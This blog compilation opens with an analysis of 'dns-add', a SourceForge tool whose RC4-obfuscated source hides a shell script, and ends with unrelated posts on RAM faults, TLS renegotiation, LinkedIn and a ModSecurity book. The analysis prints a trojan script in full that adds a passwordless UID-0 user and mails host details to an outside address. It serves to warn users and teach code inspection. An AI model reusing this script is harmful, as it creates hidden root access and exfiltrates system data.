Actually, the purpose of dns-add was very intriguing : update your DNS in one command !

The output should look like this:

...::: ISP-fW DNS add v1.0  :::... http://isp-fw.sourceforge.net/
--== copyleft 2005-2006 ==-- | Free memory:         864
contact isp.devel@gmail.com
You can add up to 9 DNS servers, enter a number from [0-9]: 2
Enter DNS1: 192.168.157.193
Enter DNS2: 192.168.157.251
Done adding 2 DNS!
DNS 192.168.157.193 responded in 0.256 ms
DNS 192.168.157.251 responded in 0.112 ms

Who would need it these days where all distros include tools and script to update the DNS with DHCP. At worst, it is just a matter of opening an editor to add two lines in /etc/resolv.conf. Done in 10 seconds.

To enjoy dns-add, we are supposed to compile the source code. Let’s have a look at it first.

It gets quickly obvious that there could be something nasty. The code is clearly obfuscated, to make it difficult to read:

• not much commented,
• a bunch of strange variables like “\026\243\314\376\220\366\154\166\346\334\005\116\360\114\015\231″. Could be the real code, hidden,
• None of the visible stuff seems to do anything on the DNS.

So now, let’s try to find out what’s behind all that. As we have the source code, the idea is to understand what the code is doing, so that we can write a snippet at the right place to just read the deciphered and potentially malicious code. That’s the easiest way, no need to disassembly and do memory forensic.

A good practice is to look for some pieces of code on the web, as developpers are lazy and often reuse already existing code. Doing that, you can save a lot of time.

Bingo ! There is a code almost entirely identical there.
We learn that the code, as old as 6 years old, actually hid a shell trojan instead of beeing a Red Hat update as claimed.

There is clearly a risk, so we must check what the code of dns-add contains. Here more hints help us again about the encoding used : some comments and a function name mention RC4 (or ARC4).

So let’s see how RC4 works and compare it with its possible implementation in dns-add.
Rougly, RC4 is just an improved XOR whith the help of a lot of keys permutations. I found a clear and short description there :

RC4 has two phases: key setup and ciphering.

The key setup phase is only done once per message and starts by initializing the entire state array so that the first state element is zero, the second is one, the third is two, and so on.

The state array is then subjected to 256 mixing operations using a loop that steps i through the values from zero to 255.

Each mixing operation consists of two steps:
Add to the variable j the contents of the ith element of the state array and the nth element of the key, where n is equal to i modulo the length of the key. (remember, the key here means the 10 byte IV at the front of the file, (or the one your program creates, if encoding), and the given key on the command line. (Key+IV)
Swap the ith and jth elements of the state array.

After the entire mixing loop is completed, i and j are set to zero.

During the ciphering operation, the following steps are performed for each byte of the message:

The variable i is incremented by one
The contents of the ith element of ‘State’ is then added to j
The ith and jth elements of ‘State’ are swapped and their contents are added together to form a new value n.
The nth element of ‘State’ is then combined with the message byte, using a bit by bit exclusive-or operation (XOR), to form the output byte.
The same ciphering steps are performed for encryption and for decryption.

void key(void * str, int len) for setting the key setup phase and void arc4(void * str, int len, char *hint) for the deciphering phase do exactly what’s described above.

They are called by char * xsh(int argc, char ** argv), which we are going to look at carefully now.

This function succevely setup all keys and decipher all the hardcoded vars. Note that a function, chkenv, setup a variable in the environment, based on the PID (and other tricks). It is not useful in the present case, but it could be developped further and used for example to avoid over-infections.

What’s interesting is actually the bottom of the function, where the guy actually builds the shellcode, putting alltogether the pieces of deciphered code.

j = 0;
varg[j++] = argv[0];		/* My own name at execution */
if (ret && *opts)
	varg[j++] = opts;	/* Options on 1st line of code */
if (*inlo)
	varg[j++] = inlo;	/* Option introducing inline code */
varg[j++] = scrpt;		/* The script itself */
if (*lsto)
	varg[j++] = lsto;	/* Option meaning last option */
i = (ret > 1) ? ret : 0;	/* Args numbering correction */
while (i < argc)
	varg[j++] = argv[i++];	/* Main run-time arguments */
varg[j] = 0;			/* NULL terminated array */

Then, it is launched with execvp:

#if DEBUGEXEC
debugexec(shll, j, varg);
#endif
execvp(shll, varg);
return shll;

Before testing further, it is safer to comment out the execvp line.

Now, we just need to retrieve the shellcode, so we just add this lazy piece of code (to insert right before #if DEBUGEXEC):

FILE *fout;
char **tmp;
tmp = varg;
fout = fopen ("dns-test","w");
do {
  fprintf (fout, *tmp);
}
while (*tmp++ != NULL);
fclose (fout);

Here we go :

$ ./dns-add
$ cat shellcode
./dns-add-c           <blank chars skipped>                    #!/bin/bash

dnsfile="/etc/resolv.conf"
failed='\e[1;31m'failed'\e[0m'
ok='\e[1;34m'ok'\e[0m'

function dns_add(){
mv -f $dnsfile $dnsfile.back
for (( i=1; i <= $dns_nr; i++ )) do
    echo -n "Enter DNS${i}: "
    read dns;
    echo "nameserver $dns" >> $dnsfile;
done
echo "Done adding $dns_nr DNS!"
echo
for i in `cat $dnsfile | cut -d " " -f 2`; do
    if [ `ping -c 1 $i | grep -c "100%"` -eq 1 ]; then
            echo -e "DNS $i $failed to respond => request timeout   "
    else
        echo -ne "DNS $i responded in ";
        ping -c 1 $i | grep icmp_seq | cut -d "=" -f 4;
    fi
done
}

clear
echo -e "...::: ISP-fW DNS add v1.0  :::...""\e[1m\e[36;40m" "http://isp-fw.sourceforge.net/\e[0m ";
echo -e "--== copyleft 2005-2006 ==-- | Free memory: $(free -m|grep cache:|cut -d ":" -f2|cut -c12-22)";
echo "contact isp.devel@gmail.com"
echo
echo -n "You can add up to 9 DNS servers, enter a number from [0-9]: ";
read dns_nr;

case $dns_nr in
  [0-9]         ) dns_add;;
  [[:lower:]]   ) echo "$dns_nr is not a number!";;
  [[:upper:]]   ) echo "$dns_nr is not a number!";;
  *             ) echo "$dns_nr is not a number!";;
esac
./dns-add

That’s it. A big C file just for this lame shell script. The good news is that it does what it says. There is no malicious purpose, for now, it’s nothing else than a (bad) joke.

In the case of the original malware, it was more harmfull :

#!/bin/sh
cd /tmp/
clear
if [ `id -u` != "0" ]
then
        echo "This patch must be applied as \"root\", and you are: \"`whoami`\""
        exit
fi
echo "Identifying the system. This may take up to 2 minutes. Please wait ..."
sleep 3
if [ ! -d /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." " ]; then
 echo "Inca un root frate belea: " >> /tmp/mama
 adduser -g 0 -u 0 -o bash >> /tmp/mama
 passwd -d bash >> /tmp/mama
 ifconfig >> /tmp/mama
 uname -a >> /tmp/mama
 uptime >> /tmp/mama
 sshd >> /tmp/mama
 echo "user bash stii tu" >> /tmp/mama
 cat /tmp/mama | mail -s "Inca o roata" root@addlebrain.com >> /dev/null
 rm -rf /tmp/mama
 mkdir -p /tmp/." "/." "/." "/." "/." "/." "/." "/." "/." "
fi

bla()
{
  sleep 2
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 2
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 3
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 4
  echo -n "#"
  sleep 1
  echo -n "#"
  sleep 1
  echo "#"
  sleep 1
}

echo "System looks OK. Proceeding to next step."
sleep 1
echo
echo -n "Patching \"ls\": "
bla
echo -n "Patching \"mkdir\": "
bla
echo
echo "System updated and secured successfuly. You may erase these files."
sleep 1
./badexec 'exec '%s' "$@"' "$@"

Technically, at the end, it is rather basic. However, it is successful in the way that it hides its purpose to most people.
What’s not clear yet is the poster purpose. Fun ? Any other weired feeling ? Or just testing the capacity of the community to detect maliscious software ? If so, was he just curious or does he have any future plan ?
Maybe I should ask him.

Anyway, how many people opened and read the code ? Especially on a community driven website where people tend to have a dangerous feeling of trust and safety : it can’t be malicious, the author offers the source code and nicely shares his work, right ?
And among the few people who checked the code, who really understood it ? Not everyone is an IT specialist. And even among them, not everyone is a developper or can read C.

It highlights well several things :

• social engineering is multi-platform ! We are often more vulnerable than our systems. Linux user or not.
• software published with the source code doesn’t mean safe software.

As much as possible, download software exclusively from the official repositories of your favorite distribution (openSUSE ).
If you really have to use code from an untrusted source, check it, or wait for the right people to do it! Don’t just grab any code, compile it and execute it blindly.

At the same time as open-source software grows, we, users, and also websites like Sourceforge will have to be more carefull about the content we download.

* Update *

I did contact the author and didn’t get any answer.
I reported the issue to Sourceforge, which deleted the account hosting dns-add, as it violated the website policies.

You can download the source code dns-add.tar.gz if you want to analyse it.

I was having a daily kernel panic and weired file system corruptions, which I first tought were coming from the successive crashes and reboots.

However, while it happened again and again and I could not find any good reason for that, I became more doubtful about my hardware and finally found the culprit.
I booted on Memtest, installed with zypper from the repo, which immediately displayed a lot of errors. The tedious task of isolating the faulty memory module revealed that it was one from a Ballistix bundle that I bought just 3 months ago.

I usually use Kingston or Corsair and never had such a problem, but maybe I was just lucky. I will test now the customer service of Ballistix.

Now the latest version of Apache mod_ssl (2.2) embeds an option to reactivate old way client renegociation :

SSLInsecureRenegotiation on

Check the official doc for more details. With this option activated, you can now safely upgrade openSSL and mod_ssl without breaking your clients. They should have done it from the begining, shouldn’t they ?

The next step will be to move on to the new protocol definitely, to solve for good the CVE-2009-3555 vulnerability. For that we have to wait for the browsers to support it.

Firefox has started to work seriously on it and we can expect some support in the next releases (some settings will be possible through about:config).

They even created a test site. This screenshot was taken from Google Chrome (5.0.366.2, openSUSE repo) which already has support for the SSL protocol :

I will still take a few days of thoughts, but I am seriously considering deleting my Linkedin account. I once got invited to it and got trapped.

My private data are certainly useful to Linkedin, but all this stuff has been totally useless to me so far. One of the things I really hate is that it tends to  increase the number of contacts artificially even though the relationship is not sincere.

I have a number of “contacts” that I barely know or keep in touch with, whereas I don’t need Linkedin to communicate with the people I truly appreciate.

Less social networking, more human reliationship, more freedom, more privacy : sounds good.

He owns a small company in Hokkaido producing a number of wood toys. He is an artist and designs them, which are all hand made and from the local wood.

In our industrial society, where all toys are made of plastic in chinese factories, it is refreshing to see such authentic and nice wood toys.

So think about it for your kids. His website is only in Japanese for now but if you are interested, drop an e-mail and my friend will certainly answer to you shortly (last link in the menu page).

If what is said is true, it nothing else but a trojan. A good one, but nothing new otherwise.

I would also say that the most targeted company was Microsoft. After all, it was an Internet Explorer 0-days breach that was exploited. Once the computer was infected, I bet that the trojan was doing much more than just targeting Gmail. To maximise the chance of an attack to succeed, a good trojan comes with a bunch of functionalities and harvest as many things as possible on the computer. Thus I doubt the target was only Google.

As Steve Ballmer said (hey, I didn’t think I would ever quote him here ! ), it happens every day. And it must not be something new in a country like China. And suddenly, Google cares ? Whereas they quietly applied censorship in China until then ? I always become suspicious when a multinational company claims it cares about human rights to the detriment of its business.

Maybe Google is just really wanting to get out of China for some reason (not so popular there with the competition of Baidu?) and is looking for an excuse. More details will certainly be coming so time will tell…

At least, the IETF agreed on a fix as Marsh Ray informs us, though it will still take some weeks for the whole validation process to complete.

Moreover, as it requires both the servers and the clients to be patched, it will take months before the patches can be applied and one can have a working client authentification architecture. The longest will be the client side, of course, so I feel sorry for those who have a large park to manage.

As far as I am concerned, fortunately, I will just have a few browsers that I manage directly to update. Anyway, still more patience is needed !

There are a lot of changes, starting with cosmetics, but the biggest one is the support of multiprocessing.

It is now able to process several routers at the same time, so using it on a large list of machines results in a big speed up.

A downside is that it now requires at least Python 2.6, as multiprocessing started to be supported with this version only. Most Linux distributions now include Python 2.6, but still not all. Anyway it will be more and more the case. If you can’t uprade your distribution, you can stick with 0.60 which still do most of the work fine.

It is also now able to fetch a configuration file remotly, but it requires more testing before I feel confident in the way it works.

The complete changelog :

2009-12-20  (0.71) Jean-Christophe Baptiste ;

* ciscoclass.py : handle correctly the cisco pager — More — so that “show run” mode should work even with large config files
* sshclass.py : allow to override terminal size system settings (make use of the cisco pager to avoid filling the buffer)

2009-11-16  (0.70) Jean-Christophe Baptiste (private release)

* implement multiprocessing
* improve code documentation
* clean up UI
* reduce useless logging
* netios.py : bug : missing startTime parameter in f_skip_error and f_command functions

I cross my fingers so that there are not too many bugs, but if so, please don’t forget to report it to me.

Check there (tools page) for more details and a download link.

I found a lot of interest reading it as I was already using ModSecurity – and I think anyone exposing an Apache web server should.
I was actually using it partially. It is not trivial to secure a web application, and the rule engine of ModSecurity is very powerful but it is also quite complex.

So this book was a good opportunity for me to dig into it further.

The book covers all topics : from the set-up to a real use-case.
The author explains how to write rules, how to deal with the performance impact, logging and gives us a range of various core rules to implement to get a good security basis.

The difficulty goes up progressively and the author doesn’t forget the beginners.
The set-up of the module is precisely described. All requirements are also explained and there are some good recalls about regular expressions, common attacks on systems, server and client sides, and other stuff like that.

After reading the book, I could harden my rules, reorganize and optimize them for better performance – something I hadn’t cared about before.

So I have nothing else to say but to recommend this book.
It is definitely a great handbook about ModSecurity that’s worth having next to you. The variety of configuration patterns makes it a reference.

Check it there. I also appreciated the availability of PDF version, so that I can carry it everywhere with my laptop and index it with Beagle.